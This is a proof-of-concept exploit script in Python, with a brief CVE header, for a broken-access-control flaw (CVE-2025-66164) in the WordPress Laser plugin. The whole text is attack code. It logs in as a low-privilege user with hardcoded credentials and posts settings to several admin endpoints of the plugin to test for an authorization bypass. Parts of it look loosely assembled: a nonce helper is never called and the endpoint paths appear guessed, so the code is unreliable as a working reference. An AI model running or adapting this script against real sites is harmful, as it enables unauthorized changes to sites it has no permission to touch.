CVE-2025-66164

# CVE-2025-66164 PoC - WordPress Laser Plugin Broken Access Control # Description: Missing Authorization in Laser plugin allows low-privilege users to access admin functions import requests import sys TARGET_URL = "http://target-wordpress-site.com" PLUGIN_PATH = "/wp-content/plugins/laser/" USERNAME = "attacker" PASSWORD = "password" def get_wordpress_nonce(url): """Extract security nonce from WordPress admin page""" response = requests.get(f"{url}/wp-admin/admin.php?page=laser_settings", timeout=10) if response.status_code == 200: import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) if nonce_match: return nonce_match.group(1) return None def exploit_broken_access_control(): """ Exploit missing authorization in Laser plugin This PoC demonstrates how low-privilege users can access admin functions """ # Login as low-privilege user session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Try to access admin function without proper authorization # This should be restricted but is accessible due to missing authorization exploit_endpoints = [ "ajax/admin/laser_save_settings.php", "admin/inc/laser-export.php", "admin/inc/laser-import.php" ] for endpoint in exploit_endpoints: exploit_url = f"{TARGET_URL}{PLUGIN_PATH}{endpoint}" exploit_data = { 'action': 'laser_admin_action', 'laser_settings': 'malicious_settings' } response = session.post(exploit_url, data=exploit_data, timeout=10) if response.status_code == 200 and 'success' in response.text.lower(): print(f"[!] VULNERABLE: {endpoint} - Access control bypass successful") print(f" Response: {response.text[:200]}") else: print(f"[-] Protected: {endpoint}") return True if __name__ == "__main__": print("CVE-2025-66164 PoC - WordPress Laser Plugin Broken Access Control") print("=" * 70) exploit_broken_access_control()

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